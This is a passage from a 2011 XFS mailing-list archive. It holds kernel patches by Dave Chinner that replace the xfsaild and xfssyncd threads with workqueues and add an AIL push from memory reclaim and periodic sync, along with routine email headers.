ailp->xa_mount->m_fsname); - if (IS_ERR(ailp->xa_task)) - return -PTR_ERR(ailp->xa_task); - return 0; -} - -void -xfsaild_stop( - struct xfs_ail *ailp) -{ - kthread_stop(ailp->xa_task); -} - - /* Catch misguided souls that try to use this interface on XFS */ STATIC struct inode * xfs_fs_alloc_inode( @@ -1772,6 +1703,32 @@ xfs_destroy_zones(void) } STATIC int __init +xfs_init_workqueues(void) +{ + xfs_syncd_wq = alloc_workqueue("xfssyncd", WQ_CPU_INTENSIVE, 8); + if (!xfs_syncd_wq) + goto out; + + xfs_ail_wq = alloc_workqueue("xfsail", WQ_CPU_INTENSIVE, 8); + if (!xfs_ail_wq) + goto out_destroy_syncd; + + return 0; + +out_destroy_syncd: + destroy_workqueue(xfs_syncd_wq); +out: + return -ENOMEM; +} + +STATIC void __exit +xfs_destroy_workqueues(void) +{ + destroy_workqueue(xfs_ail_wq); + destroy_workqueue(xfs_syncd_wq); +} + +STATIC int __init init_xfs_fs(void) { int error; @@ -1806,21 +1763,19 @@ init_xfs_fs(void) if (error) goto out_cleanup_procfs; - xfs_syncd_wq = alloc_workqueue("xfssyncd", WQ_CPU_INTENSIVE, 8); - if (!xfs_syncd_wq) { - error = -ENOMEM; + error = xfs_init_workqueues(); + if (error) goto out_sysctl_unregister; - } vfs_initquota(); error = register_filesystem(&xfs_fs_type); if (error) - goto out_destroy_xfs_syncd; + goto out_destroy_wq; return 0; -out_destroy_xfs_syncd: - destroy_workqueue(xfs_syncd_wq); +out_destroy_wq: + xfs_destroy_workqueues(); out_sysctl_unregister: xfs_sysctl_unregister(); out_cleanup_procfs: @@ -1842,7 +1797,7 @@ exit_xfs_fs(void) { vfs_exitquota(); unregister_filesystem(&xfs_fs_type); - destroy_workqueue(xfs_syncd_wq); + xfs_destroy_workqueues(); xfs_sysctl_unregister(); xfs_cleanup_procfs(); xfs_buf_terminate(); diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 12aff95..8b68679 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -28,6 +28,8 @@ #include "xfs_trans_priv.h" #include "xfs_error.h" +struct workqueue_struct *xfs_ail_wq; /* AIL workqueue */ + STATIC void xfs_ail_splice(struct xfs_ail *, struct list_head *, xfs_lsn_t); STATIC void xfs_ail_delete(struct xfs_ail *, xfs_log_item_t *); STATIC xfs_log_item_t * xfs_ail_min(struct xfs_ail *); @@ -69,36 +71,6 @@ xfs_trans_ail_tail( } /* - * xfs_trans_push_ail - * - * This routine is called to move the tail of the AIL forward. It does this by - * trying to flush items in the AIL whose lsns are below the given - * threshold_lsn. - * - * the push is run asynchronously in a separate thread, so we return the tail - * of the log right now instead of the tail after the push. This means we will - * either continue right away, or we will sleep waiting on the async thread to - * do its work. - * - * We do this unlocked - we only need to know whether there is anything in the - * AIL at the time we are called. We don't need to access the contents of - * any of the objects, so the lock is not needed. - */ -void -xfs_trans_ail_push( - struct xfs_ail *ailp, - xfs_lsn_t threshold_lsn) -{ - xfs_log_item_t *lip; - - lip = xfs_ail_min(ailp); - if (lip && !XFS_FORCED_SHUTDOWN(ailp->xa_mount)) { - if (XFS_LSN_CMP(threshold_lsn, ailp->xa_target) > 0) - xfsaild_wakeup(ailp, threshold_lsn); - } -} - -/* * AIL traversal cursor initialisation. * * The cursor keeps track of where our current traversal is up @@ -236,16 +208,16 @@ out: } /* - * xfsaild_push does the work of pushing on the AIL. Returning a timeout of - * zero indicates that the caller should sleep until woken. + * xfs_ail_worker does the work of pushing on the AIL. It will requeue itself + * to run at a later time if there is more work to do to complete the push. */ -long -xfsaild_push( - struct xfs_ail *ailp, - xfs_lsn_t *last_lsn) +STATIC void +xfs_ail_worker( + struct work_struct *work) { + struct xfs_ail *ailp = container_of(to_delayed_work(work), + struct xfs_ail, xa_work); long tout = 0; - xfs_lsn_t last_pushed_lsn = *last_lsn; xfs_lsn_t target = ailp->xa_target; xfs_lsn_t lsn; xfs_log_item_t *lip; @@ -256,15 +228,15 @@ xfsaild_push( spin_lock(&ailp->xa_lock); xfs_trans_ail_cursor_init(ailp, cur); - lip = xfs_trans_ail_cursor_first(ailp, cur, *last_lsn); + lip = xfs_trans_ail_cursor_first(ailp, cur, ailp->xa_last_pushed_lsn); if (!lip || XFS_FORCED_SHUTDOWN(mp)) { /* * AIL is empty or our push has reached the end. */ xfs_trans_ail_cursor_done(ailp, cur); spin_unlock(&ailp->xa_lock); - *last_lsn = 0; - return tout; + ailp->xa_last_pushed_lsn = 0; + return; } XFS_STATS_INC(xs_push_ail); @@ -301,13 +273,13 @@ xfsaild_push( case XFS_ITEM_SUCCESS: XFS_STATS_INC(xs_push_ail_success); IOP_PUSH(lip); - last_pushed_lsn = lsn; + ailp->xa_last_pushed_lsn = lsn; break; case XFS_ITEM_PUSHBUF: XFS_STATS_INC(xs_push_ail_pushbuf); IOP_PUSHBUF(lip); - last_pushed_lsn = lsn; + ailp->xa_last_pushed_lsn = lsn; push_xfsbufd = 1; break; @@ -319,7 +291,7 @@ xfsaild_push( case XFS_ITEM_LOCKED: XFS_STATS_INC(xs_push_ail_locked); - last_pushed_lsn = lsn; + ailp->xa_last_pushed_lsn = lsn; stuck++; break; @@ -376,7 +348,7 @@ xfsaild_push( if (!count) { /* We're past our target or empty, so idle */ - last_pushed_lsn = 0; + ailp->xa_last_pushed_lsn = 0; } else if (XFS_LSN_CMP(lsn, target) >= 0) { /* * We reached the target so wait a bit longer for I/O to @@ -384,7 +356,7 @@ xfsaild_push( * start the next scan from the start of the AIL. */ tout = 50; - last_pushed_lsn = 0; + ailp->xa_last_pushed_lsn = 0; } else if ((stuck * 100) / count > 90) { /* * Either there is a lot of contention on the AIL or we @@ -400,10 +372,63 @@ xfsaild_push( /* more to do, but wait a short while before continuing */ tout = 10; } - *last_lsn = last_pushed_lsn; - return tout; + + /* + * If there is more to do, requeue us. Otherwise the next push will + * start us again. + */ + if (tout) + queue_delayed_work(xfs_syncd_wq, &ailp->xa_work, tout); } +/* + * Kick the AIL workqueue into action. + * + * If we already have work in progress, we do not queue new work, simply move + * the target forwards. Otherwise queue for the given amount of time in the + * future. + */ +static void +xfs_ail_push_queue( + struct xfs_ail *ailp, + xfs_lsn_t threshold_lsn, + int tout) +{ + if (XFS_LSN_CMP(threshold_lsn, ailp->xa_target) > 0) { + ailp->xa_target = threshold_lsn; + queue_delayed_work(xfs_syncd_wq, &ailp->xa_work, tout); + } +} + +/* + * xfs_trans_push_ail + * + * This routine is called to move the tail of the AIL forward. It does this by + * trying to flush items in the AIL whose lsns are below the given + * threshold_lsn. + * + * the push is run asynchronously in a workqueue, so we return the tail + * of the log right now instead of the tail after the push. This means we will + * either continue right away, or we will sleep waiting on the async thread to + * do its work. We don't want the workqueue to interrupt any backoff it is + * current engaged in, so start the flush in a short while rather than + * immediately. + * + * We do this unlocked - we only need to know whether there is anything in the + * AIL at the time we are called. We don't need to access the contents of + * any of the objects, so the lock is not needed. + */ +void +xfs_trans_ail_push( + struct xfs_ail *ailp, + xfs_lsn_t threshold_lsn) +{ + xfs_log_item_t *lip; + + lip = xfs_ail_min(ailp); + if (lip && !XFS_FORCED_SHUTDOWN(ailp->xa_mount)) + xfs_ail_push_queue(ailp, threshold_lsn, 1); +} /* * This is to be called when an item is unlocked that may have @@ -615,7 +640,6 @@ xfs_trans_ail_init( xfs_mount_t *mp) { struct xfs_ail *ailp; - int error; ailp = kmem_zalloc(sizeof(struct xfs_ail), KM_MAYFAIL); if (!ailp) @@ -624,15 +648,9 @@ xfs_trans_ail_init( ailp->xa_mount = mp; INIT_LIST_HEAD(&ailp->xa_ail); spin_lock_init(&ailp->xa_lock); - error = xfsaild_start(ailp); - if (error) - goto out_free_ailp; + INIT_DELAYED_WORK(&ailp->xa_work, xfs_ail_worker); mp->m_ail = ailp; return 0; - -out_free_ailp: - kmem_free(ailp); - return error; } void @@ -641,7 +659,7 @@ xfs_trans_ail_destroy( { struct xfs_ail *ailp = mp->m_ail; - xfsaild_stop(ailp); + cancel_delayed_work_sync(&ailp->xa_work); kmem_free(ailp); } diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h index 35162c2..2410da4 100644 --- a/fs/xfs/xfs_trans_priv.h +++ b/fs/xfs/xfs_trans_priv.h @@ -66,15 +66,19 @@ struct xfs_ail { struct xfs_mount *xa_mount; struct list_head xa_ail; uint xa_gen; - struct task_struct *xa_task; xfs_lsn_t xa_target; struct xfs_ail_cursor xa_cursors; spinlock_t xa_lock; + struct delayed_work xa_work; + xfs_lsn_t xa_last_pushed_lsn; }; /* * From xfs_trans_ail.c */ + +extern struct workqueue_struct *xfs_ail_wq; /* AIL workqueue */ + void xfs_trans_ail_update_bulk(struct xfs_ail *ailp, struct xfs_log_item **log_items, int nr_items, xfs_lsn_t lsn) __releases(ailp->xa_lock); @@ -112,11 +116,6 @@ struct xfs_log_item *xfs_trans_ail_cursor_next(struct xfs_ail *ailp, void xfs_trans_ail_cursor_done(struct xfs_ail *ailp, struct xfs_ail_cursor *cur); -long xfsaild_push(struct xfs_ail *, xfs_lsn_t *); -void xfsaild_wakeup(struct xfs_ail *, xfs_lsn_t); -int xfsaild_start(struct xfs_ail *); -void xfsaild_stop(struct xfs_ail *); - #if BITS_PER_LONG != 64 static inline void xfs_trans_ail_copy_lsn( -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:03:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2A03kVs068888 for ; Wed, 9 Mar 2011 18:03:51 -0600 X-ASG-Debug-ID: 1299715584-3b2e01210000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 741D110B7DC6 for ; Wed, 9 Mar 2011 16:06:24 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id kuT5RophBMPqB9w4 for ; Wed, 09 Mar 2011 16:06:24 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAC6ld015LK5J/2dsb2JhbACmcXXDK4VlBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:35 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNd-0002vd-76 for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:25 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNl-0002tI-3D for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:33 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Subject: [PATCH 6/6] xfs: push the AIL from memory reclaim and periodic sync Date: Thu, 10 Mar 2011 11:05:29 +1100 Message-Id: <1299715529-11026-7-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715596 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner When we are short on memory, we want to expedite the cleaning of dirty objects. Hence when we run short on memory, we need to kick the AIL flushing into action to clean as many dirty objects as quickly as possible. To implement this, sample the lsn of the log item at the head of the AIL and use that as the push target for the AIL flush. Further, we keep items in the AIL that are dirty that are not tracked any other way, so we can get objects sitting in the AIL that don't get written back until the AIL is pushed. Hence to get the filesystem to the idle state, we might need to push the AIL to flush out any remaining dirty objects sitting in the AIL. This requires the same push mechanism as the reclaim push. This patch rearranges the location of functions in xfs_trans_ail.c to remove the need for forward declarations of those functions and new functions added in this commit. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_sync.c | 7 ++- fs/xfs/xfs_trans_ail.c | 206 +++++++++++++++++++++++++------------------ fs/xfs/xfs_trans_priv.h | 1 + 3 files changed, 129 insertions(+), 85 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 3f39d83..7ab79671 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -22,6 +22,7 @@ #include "xfs_log.h" #include "xfs_inum.h" #include "xfs_trans.h" +#include "xfs_trans_priv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" @@ -463,6 +464,9 @@ xfs_sync_worker( xfs_log_force(mp, 0); xfs_reclaim_inodes(mp, 0); error = xfs_qm_sync(mp, SYNC_TRYLOCK); + + /* start pushing all the metadata that is currently dirty */ + xfs_trans_ail_push_all(mp->m_ail); } /* queue us up again */ @@ -1017,8 +1021,9 @@ xfs_reclaim_inode_shrink( mp = container_of(shrink, struct xfs_mount, m_inode_shrink); if (nr_to_scan) { - /* kick background reclaimer */ + /* kick background reclaimer and push the AIL */ xfs_syncd_queue_reclaim(mp); + xfs_trans_ail_push_all(mp->m_ail); if (!(gfp_mask & __GFP_FS)) return -1; diff --git a/fs/xfs/xfs_trans_ail.c b/fs/xfs/xfs_trans_ail.c index 8b68679..62da328 100644 --- a/fs/xfs/xfs_trans_ail.c +++ b/fs/xfs/xfs_trans_ail.c @@ -30,17 +30,55 @@ struct workqueue_struct *xfs_ail_wq; /* AIL workqueue */ -STATIC void xfs_ail_splice(struct xfs_ail *, struct list_head *, xfs_lsn_t); -STATIC void xfs_ail_delete(struct xfs_ail *, xfs_log_item_t *); -STATIC xfs_log_item_t * xfs_ail_min(struct xfs_ail *); -STATIC xfs_log_item_t * xfs_ail_next(struct xfs_ail *, xfs_log_item_t *); - #ifdef DEBUG STATIC void xfs_ail_check(struct xfs_ail *, xfs_log_item_t *); #else #define xfs_ail_check(a,l) #endif /* DEBUG */ +/* + * Return a pointer to the first item in the AIL. + * If the AIL is empty, then return NULL. + */ +static xfs_log_item_t * +xfs_ail_min( + struct xfs_ail *ailp) +{ + if (list_empty(&ailp->xa_ail)) + return NULL; + + return list_first_entry(&ailp->xa_ail, xfs_log_item_t, li_ail); +} + +/* + * Return a pointer to the last item in the AIL. + * If the AIL is empty, then return NULL. + */ +static xfs_log_item_t * +xfs_ail_max( + struct xfs_ail *ailp) +{ + if (list_empty(&ailp->xa_ail)) + return NULL; + + return list_entry(ailp->xa_ail.prev, xfs_log_item_t, li_ail); +} + +/* + * Return a pointer to the item which follows + * the given item in the AIL. If the given item + * is the last item in the list, then return NULL. + */ +static xfs_log_item_t * +xfs_ail_next( + struct xfs_ail *ailp, + xfs_log_item_t *lip) +{ + if (lip->li_ail.next == &ailp->xa_ail) + return NULL; + + return list_first_entry(&lip->li_ail, xfs_log_item_t, li_ail); +} /* * This is called by the log manager code to determine the LSN @@ -55,16 +93,32 @@ xfs_lsn_t xfs_trans_ail_tail( struct xfs_ail *ailp) { - xfs_lsn_t lsn; + xfs_lsn_t lsn = 0; xfs_log_item_t *lip; spin_lock(&ailp->xa_lock); lip = xfs_ail_min(ailp); - if (lip == NULL) { - lsn = (xfs_lsn_t)0; - } else { + if (lip) + lsn = lip->li_lsn; + spin_unlock(&ailp->xa_lock); + + return lsn; +} + +/* + * Return the maximum lsn held in the AIL, or zero if the AIl is empty. + */ +static xfs_lsn_t +xfs_ail_max_lsn( + struct xfs_ail *ailp) +{ + xfs_lsn_t lsn = 0; + xfs_log_item_t *lip; + + spin_lock(&ailp->xa_lock); + lip = xfs_ail_max(ailp); + if (lip) lsn = lip->li_lsn; - } spin_unlock(&ailp->xa_lock); return lsn; @@ -208,6 +262,50 @@ out: } /* + * splice the log item list into the AIL at the given LSN. + */ +static void +xfs_ail_splice( + struct xfs_ail *ailp, + struct list_head *list, + xfs_lsn_t lsn) +{ + xfs_log_item_t *next_lip; + + /* + * If the list is empty, just insert the item. + */ + if (list_empty(&ailp->xa_ail)) { + list_splice(list, &ailp->xa_ail); + return; + } + + list_for_each_entry_reverse(next_lip, &ailp->xa_ail, li_ail) { + if (XFS_LSN_CMP(next_lip->li_lsn, lsn) <= 0) + break; + } + + ASSERT((&next_lip->li_ail == &ailp->xa_ail) || + (XFS_LSN_CMP(next_lip->li_lsn, lsn) <= 0)); + + list_splice_init(list, &next_lip->li_ail); + return; +} + +/* + * Delete the given item from the AIL. Return a pointer to the item. + */ +static void +xfs_ail_delete( + struct xfs_ail *ailp, + xfs_log_item_t *lip) +{ + xfs_ail_check(ailp, lip); + list_del(&lip->li_ail); + xfs_trans_ail_cursor_clear(ailp, lip); +} + +/* * xfs_ail_worker does the work of pushing on the AIL. It will requeue itself * to run at a later time if there is more work to do to complete the push. */ @@ -431,6 +529,20 @@ xfs_trans_ail_push( } /* + * similar to xfs_trans_push_ail(), except we are trying to push out all items + * in the AIL immediately + */ +void +xfs_trans_ail_push_all( + struct xfs_ail *ailp) +{ + xfs_lsn_t threshold_lsn = xfs_ail_max_lsn(ailp); + + if (threshold_lsn && !XFS_FORCED_SHUTDOWN(ailp->xa_mount)) + xfs_ail_push_queue(ailp, threshold_lsn, 0); +} + +/* * This is to be called when an item is unlocked that may have * been in the AIL. It will wake up the first member of the AIL * wait list if this item's unlocking might allow it to progress. @@ -663,80 +775,6 @@ xfs_trans_ail_destroy( kmem_free(ailp); } -/* - * splice the log item list into the AIL at the given LSN. - */ -STATIC void -xfs_ail_splice( - struct xfs_ail *ailp, - struct list_head *list, - xfs_lsn_t lsn) -{ - xfs_log_item_t *next_lip; - - /* - * If the list is empty, just insert the item. - */ - if (list_empty(&ailp->xa_ail)) { - list_splice(list, &ailp->xa_ail); - return; - } - - list_for_each_entry_reverse(next_lip, &ailp->xa_ail, li_ail) { - if (XFS_LSN_CMP(next_lip->li_lsn, lsn) <= 0) - break; - } - - ASSERT((&next_lip->li_ail == &ailp->xa_ail) || - (XFS_LSN_CMP(next_lip->li_lsn, lsn) <= 0)); - - list_splice_init(list, &next_lip->li_ail); - return; -} - -/* - * Delete the given item from the AIL. Return a pointer to the item. - */ -STATIC void -xfs_ail_delete( - struct xfs_ail *ailp, - xfs_log_item_t *lip) -{ - xfs_ail_check(ailp, lip); - list_del(&lip->li_ail); - xfs_trans_ail_cursor_clear(ailp, lip); -} - -/* - * Return a pointer to the first item in the AIL. - * If the AIL is empty, then return NULL. - */ -STATIC xfs_log_item_t * -xfs_ail_min( - struct xfs_ail *ailp) -{ - if (list_empty(&ailp->xa_ail)) - return NULL; - - return list_first_entry(&ailp->xa_ail, xfs_log_item_t, li_ail); -} - -/* - * Return a pointer to the item which follows - * the given item in the AIL. If the given item - * is the last item in the list, then return NULL. - */ -STATIC xfs_log_item_t * -xfs_ail_next( - struct xfs_ail *ailp, - xfs_log_item_t *lip) -{ - if (lip->li_ail.next == &ailp->xa_ail) - return NULL; - - return list_first_entry(&lip->li_ail, xfs_log_item_t, li_ail); -} - #ifdef DEBUG /* * Check that the list is sorted as it should be. diff --git a/fs/xfs/xfs_trans_priv.h b/fs/xfs/xfs_trans_priv.h index 2410da4..dbd93e6 100644 --- a/fs/xfs/xfs_trans_priv.h +++ b/fs/xfs/xfs_trans_priv.h @@ -103,6 +103,7 @@ xfs_trans_ail_delete( } void xfs_trans_ail_push(struct xfs_ail *, xfs_lsn_t); +void xfs_trans_ail_push_all(struct xfs_ail *); void xfs_trans_unlocked_item(struct xfs_ail *, xfs_log_item_t *); -- 1.7.2.3 From dave@fromorbit.com Wed Mar 9 18:03:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_72 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2A03lJC068891 for ; Wed, 9 Mar 2011 18:03:53 -0600 X-ASG-Debug-ID: 1299715584-3b2e01210001-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail07.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id D39D310B7DC6 for ; Wed, 9 Mar 2011 16:06:36 -0800 (PST) Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id pamhmzdAf3WhxB98 for ; Wed, 09 Mar 2011 16:06:36 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAC6ld015LK5J/2dsb2JhbACmcXXDK4VlBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail07.adl2.internode.on.net with ESMTP; 10 Mar 2011 10:35:36 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1PxTNc-0002vP-UN for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:24 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1PxTNk-0002t6-SF for xfs@oss.sgi.com; Thu, 10 Mar 2011 11:05:32 +1100 From: Dave Chinner To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Subject: [PATCH 2/6] xfs: introduce a xfssyncd workqueue Date: Thu, 10 Mar 2011 11:05:25 +1100 Message-Id: <1299715529-11026-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1299715529-11026-1-git-send-email-david@fromorbit.com> References: <1299715529-11026-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1299715597 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner All of the work xfssyncd does is background functionality. There is no need for a thread per filesystem to do this work - it can al be managed by a global workqueue now they manage concurrency effectively. Introduce a new gglobal xfssyncd workqueue, and convert the periodic work to use this new functionality. To do this, use a delayed work construct to schedule the next running of the periodic sync work for the filesystem. When the sync work is complete, queue a new delayed work for the next running of the sync work. For laptop mode, we wait on completion for the sync works, so ensure that the sync work queuing interface can flush and wait for work to complete to enable the work queue infrastructure to replace the current sequence number and wakeup that is used. Because the sync work does non-trivial amounts of work, mark the new work queue as CPU intensive. Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_super.c | 38 +++++++++---------- fs/xfs/linux-2.6/xfs_sync.c | 86 ++++++++++++++++++++--------------------- fs/xfs/linux-2.6/xfs_sync.h | 2 + fs/xfs/xfs_mount.h | 4 +- 4 files changed, 63 insertions(+), 67 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 8a70b2a..768894b 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -1191,22 +1191,12 @@ xfs_fs_sync_fs( return -error; if (laptop_mode) { - int prev_sync_seq = mp->m_sync_seq; - /* * The disk must be active because we're syncing. * We schedule xfssyncd now (now that the disk is * active) instead of later (when it might not be). */ - wake_up_process(mp->m_sync_task); - /* - * We have to wait for the sync iteration to complete. - * If we don't, the disk activity caused by the sync - * will come after the sync is completed, and that - * triggers another sync from laptop mode. - */ - wait_event(mp->m_wait_single_sync_task, - mp->m_sync_seq != prev_sync_seq); + flush_delayed_work_sync(&mp->m_sync_work); } return 0; @@ -1492,7 +1482,6 @@ xfs_fs_fill_super( atomic_set(&mp->m_active_trans, 0); INIT_LIST_HEAD(&mp->m_sync_list); spin_lock_init(&mp->m_sync_lock); - init_waitqueue_head(&mp->m_wait_single_sync_task); mp->m_super = sb; sb->s_fs_info = mp; @@ -1819,26 +1808,34 @@ init_xfs_fs(void) if (error) goto out_cleanup_procfs; + xfs_syncd_wq = alloc_workqueue("xfssyncd", WQ_CPU_INTENSIVE, 8); + if (!xfs_syncd_wq) { + error = -ENOMEM; + goto out_sysctl_unregister; + } + vfs_initquota(); error = register_filesystem(&xfs_fs_type); if (error) - goto out_sysctl_unregister; + goto out_destroy_xfs_syncd; return 0; - out_sysctl_unregister: +out_destroy_xfs_syncd: + destroy_workqueue(xfs_syncd_wq); +out_sysctl_unregister: xfs_sysctl_unregister(); - out_cleanup_procfs: +out_cleanup_procfs: xfs_cleanup_procfs(); - out_buf_terminate: +out_buf_terminate: xfs_buf_terminate(); - out_filestream_uninit: +out_filestream_uninit: xfs_filestream_uninit(); - out_mru_cache_uninit: +out_mru_cache_uninit: xfs_mru_cache_uninit(); - out_destroy_zones: +out_destroy_zones: xfs_destroy_zones(); - out: +out: return error; } @@ -1847,6 +1844,7 @@ exit_xfs_fs(void) { vfs_exitquota(); unregister_filesystem(&xfs_fs_type); + destroy_workqueue(xfs_syncd_wq); xfs_sysctl_unregister(); xfs_cleanup_procfs(); xfs_buf_terminate(); diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 594cd82..91c513b 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -39,6 +39,8 @@ #include #include +struct workqueue_struct *xfs_syncd_wq; /* sync workqueue */ + /* * The inode lookup is done in batches to keep the amount of lock traffic and * radix tree lookups to a minimum. The batch size is a trade off between @@ -489,32 +491,6 @@ xfs_flush_inodes( xfs_log_force(ip->i_mount, XFS_LOG_SYNC); } -/* - * Every sync period we need to unpin all items, reclaim inodes and sync - * disk quotas. We might need to cover the log to indicate that the - * filesystem is idle and not frozen. - */ -STATIC void -xfs_sync_worker( - struct xfs_mount *mp, - void *unused) -{ - int error; - - if (!(mp->m_flags & XFS_MOUNT_RDONLY)) { - /* dgc: errors ignored here */ - if (mp->m_super->s_frozen == SB_UNFROZEN && - xfs_log_need_covered(mp)) - error = xfs_fs_log_dummy(mp); - else - xfs_log_force(mp, 0); - xfs_reclaim_inodes(mp, 0); - error = xfs_qm_sync(mp, SYNC_TRYLOCK); - } - mp->m_sync_seq++; - wake_up(&mp->m_wait_single_sync_task); -} - STATIC int xfssyncd( void *arg) @@ -535,27 +511,12 @@ xfssyncd( break; spin_lock(&mp->m_sync_lock); - /* - * We can get woken by laptop mode, to do a sync - - * that's the (only!) case where the list would be - * empty with time remaining. - */ - if (!timeleft || list_empty(&mp->m_sync_list)) { - if (!timeleft) - timeleft = xfs_syncd_centisecs * - msecs_to_jiffies(10); - INIT_LIST_HEAD(&mp->m_sync_work.w_list); - list_add_tail(&mp->m_sync_work.w_list, - &mp->m_sync_list); - } list_splice_init(&mp->m_sync_list, &tmp); spin_unlock(&mp->m_sync_lock); list_for_each_entry_safe(work, n, &tmp, w_list) { (*work->w_syncer)(mp, work->w_data); list_del(&work->w_list); - if (work == &mp->m_sync_work) - continue; if (work->w_completion) complete(work->w_completion); kmem_free(work); @@ -565,13 +526,49 @@ xfssyncd( return 0; } +static void +xfs_syncd_queue_sync( + struct xfs_mount *mp) +{ + queue_delayed_work(xfs_syncd_wq, &mp->m_sync_work, + xfs_syncd_centisecs * msecs_to_jiffies(10)); +} + +/* + * Every sync period we need to unpin all items, reclaim inodes and sync + * disk quotas. We might need to cover the log to indicate that the + * filesystem is idle and not frozen. + */ +STATIC void +xfs_sync_worker( + struct work_struct *work) +{ + struct xfs_mount *mp = container_of(to_delayed_work(work), + struct xfs_mount, m_sync_work); + int error; + + if (!(mp->m_flags & XFS_MOUNT_RDONLY)) { + /* dgc: errors ignored here */ + if (mp->m_super->s_frozen == SB_UNFROZEN && + xfs_log_need_covered(mp)) + error = xfs_fs_log_dummy(mp); + else + xfs_log_force(mp, 0); + xfs_reclaim_inodes(mp, 0); + error = xfs_qm_sync(mp, SYNC_TRYLOCK); + } + + /* queue us up again */ + xfs_syncd_queue_sync(mp); +} + int xfs_syncd_init( struct xfs_mount *mp) { - mp->m_sync_work.w_syncer = xfs_sync_worker; - 